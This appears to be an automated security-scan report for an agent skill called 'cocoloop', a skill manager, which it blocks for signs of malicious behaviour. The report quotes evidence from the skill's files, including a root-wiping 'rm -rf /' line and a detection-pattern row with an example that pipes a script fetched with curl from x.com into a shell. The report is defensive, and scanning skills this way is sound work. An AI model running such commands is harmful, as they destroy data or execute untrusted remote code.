FC cocoloop
一个更快速、更安全的 Skill 管理器。CLI 只负责网络 API wrapper 和已知安装流程 wrapper；搜索判断、fallback 探索和复杂编排由 Agent 自己完成。
Blockedguard blocked the skill: signs of malicious behaviour
As a process C 51/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions
IntegrationInfrastructureAI and agentstype and topics are labelled automatically from the skill text
Guard blocked this skill: critical findings below. Do not install it until the author fixes them.
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
Dangerous commands
If you install
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
For the author
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Remove the critical guard findings (secrets, dangerous commands, hidden instructions): while they stand the skill is blocked and cannot grade above F.
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 8
-
critical Dangerous commands
cmd-destructive-fsreferences/cocoloop-safe-check.md:36Destructive filesystem command (wipes root/home/drive)- 执行 rm -rf / 等系统破坏性命令
Medium and low: 7
-
medium Dangerous commands
cmd-pipe-to-shellreferences/safety-check-guide.md:112Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row)| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
table -
low Exfiltration
exfil-secret-in-urlreferences/install-guide.md:198Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (placeholder value)curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
placeholder -
low Exfiltration
net-credential-usereferences/install-guide.md:198Credential used in a network call (verify the destination is the intended service) (the skill's own vendor host)curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
vendor-host -
low Exfiltration
exfil-secret-in-urlreferences/search-guide.md:47Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (placeholder value)curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
placeholder -
low Exfiltration
net-credential-usereferences/search-guide.md:47Credential used in a network call (verify the destination is the intended service) (the skill's own vendor host)curl -L "https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
vendor-host -
low Exfiltration
exfil-secret-in-urlSKILL.md:207Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (placeholder value)curl -L "https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
placeholder -
low Exfiltration
net-credential-useSKILL.md:207Credential used in a network call (verify the destination is the intended service) (the skill's own vendor host)curl -L "https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=…&sort=…"
vendor-host
Files scanned: 20. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when")
Process rating: all ten parameters 51/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 50Failures and branches. 0 branches, has a failure section
- 60Tools and files. Uses tools (bash, web) that frontmatter does not declare
- 100Steps. 139 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 2047 tokens
- 100Running it twice. No mutating operations
- low 14 top-level sections: this looks like several domains in one skill
- low The response is described with custom markup (26 tags): a typed call is more reliable
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Description length 93: 120–800 characters recommended
- +3Output format is not stated: the model decides each time
- -4Absolute local paths (C:\Users, /home/…): not portable
- +1No license
- +2Single-language instructions
- +4Structure: 33 headings
- +3Step-by-step instructions: 139 items
- +4Has examples (5 code blocks)
- +4Reference files are cited in the instructions (5 of 6)
- +3All 1 scripts are documented
Quality base 70; lint remarks subtract, signals add up to 100. Result: 72.
External checks
ClawHub: suspicious
Cocoloop is a coherent skill manager, but it needs Review because it can install, replace, remove, and upload skill-related local files with weak confirmation and scoping safeguards.
LLM: suspicious (high) · VirusTotal: · 29 May 2026